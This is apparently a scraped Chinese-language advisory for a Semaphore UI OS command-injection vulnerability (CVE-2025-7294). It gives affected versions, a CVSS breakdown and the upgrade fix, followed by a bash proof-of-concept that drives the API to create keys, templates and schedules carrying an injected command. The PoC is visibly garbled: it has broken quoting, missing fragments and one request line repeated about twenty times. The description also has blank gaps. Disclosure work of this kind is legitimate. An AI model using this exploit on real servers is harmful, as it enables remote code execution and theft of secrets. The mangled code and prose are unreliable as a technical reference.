Semaphore UI OS命令注入漏洞（CVE-2025-7294）及安全补丁

漏洞概述 semaphoreUI v2.18.13 OS Command Injection - Critical vulnerability 漏洞类型: OS命令注入（参数注入，CWE-88 - CWE-78） 描述: 在 的 处理中，任何拥有 Manager 或 Owner 角色的用户都可以在任何项目上执行远程代码。通过利用 的 选项，攻击者可以执行任意命令。命令在 Semaphore 服务器进程内执行（通过调度程序 cron 池），即使在没有作业运行的情况下也会执行。绕过运行器隔离和执行主服务器加密密钥和项目秘密。在默认安装中可重现（ ），无需默认配置。 影响范围 受影响版本: 2.18.12, 2.18.13, 2.18.16 修复版本: 2.18.20 CVSS v3 基础指标: - 攻击者: 网络 - 攻击复杂度: 低 - 所需特权: 低 - 用户交互: 无 - 范围: 变更 - 机密性: 高 - 完整性: 高 - 可用性: 高 CVE ID: CVE-2025-7294 弱点: CWE-78, CWE-88 受影响用户: 任何运行默认 的 Semaphore 部署。攻击者只需要一个持有 Manager 或 Owner 角色的用户。如果启用了 ，则任何经过身份验证的用户都可以利用，因为他们可以自行创建项目并成为其所有者。全球管理员始终符合条件。 修复方案 修复版本: 升级到 2.18.20 或更高版本。 POC 代码 ```bash Terminal 1 — config + users + server cd ~\PoC && mkdir -p tmp cat > config.json onboard.sh /dev/null PROJ_PID=$(curl -s -X "$JAR" -X POST "$BASE/api/projects" -H "Content-Type: application/json" -d '{"name":"team-project","alert":false}') python3 -c "import sys,json;print(json.load(sys.stdin)['id'])" rce.sh <<EOF #!/usr/bin/env bash set -euo pipefail BASE="${BASE:-http://127.0.0.1:3000}"; LOGIN="${LOGIN:-lowpriv}"; PASS="${PASS:-LowPriv123!}" JAR=$(mktemp); PROJ_PID=$(cat /tmp/PoC/project_id.txt) CMD="${CMD:-bash -c 'echo \$884 JAR=$(mktemp); JID=$(python3 -c "import sys,json;print(json.load(sys.stdin)['id'])" <<< "$(curl -s -X "$JAR" -X POST "$BASE/api/project/$PROJ_PID/keys" -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"type\":\"application/json\",\"id\":\"$JID"}')") BID=$(python3 -c "import sys,json;print(json.dumps([{\"name\":\"\\\"\\",\"type\":\"application/json\",\"id\":\"$JID\"}]))") TID=$(python3 -c "import sys,json;print(json.dumps([{\"name\":\"\\\"\\",\"type\":\"application/json\",\"id\":\"$JID\"}]))") POST /api/project/$PROJ_PID/templates -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules

目标达成感谢每一位支持者 — 我们达成了 100% 目标！

Semaphore UI OS命令注入漏洞（CVE-2025-7294）及安全补丁

同源更多文章

目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

Semaphore UI OS命令注入漏洞（CVE-2025-7294）及安全补丁

同源更多文章

目标达成感谢每一位支持者 — 我们达成了 100% 目标！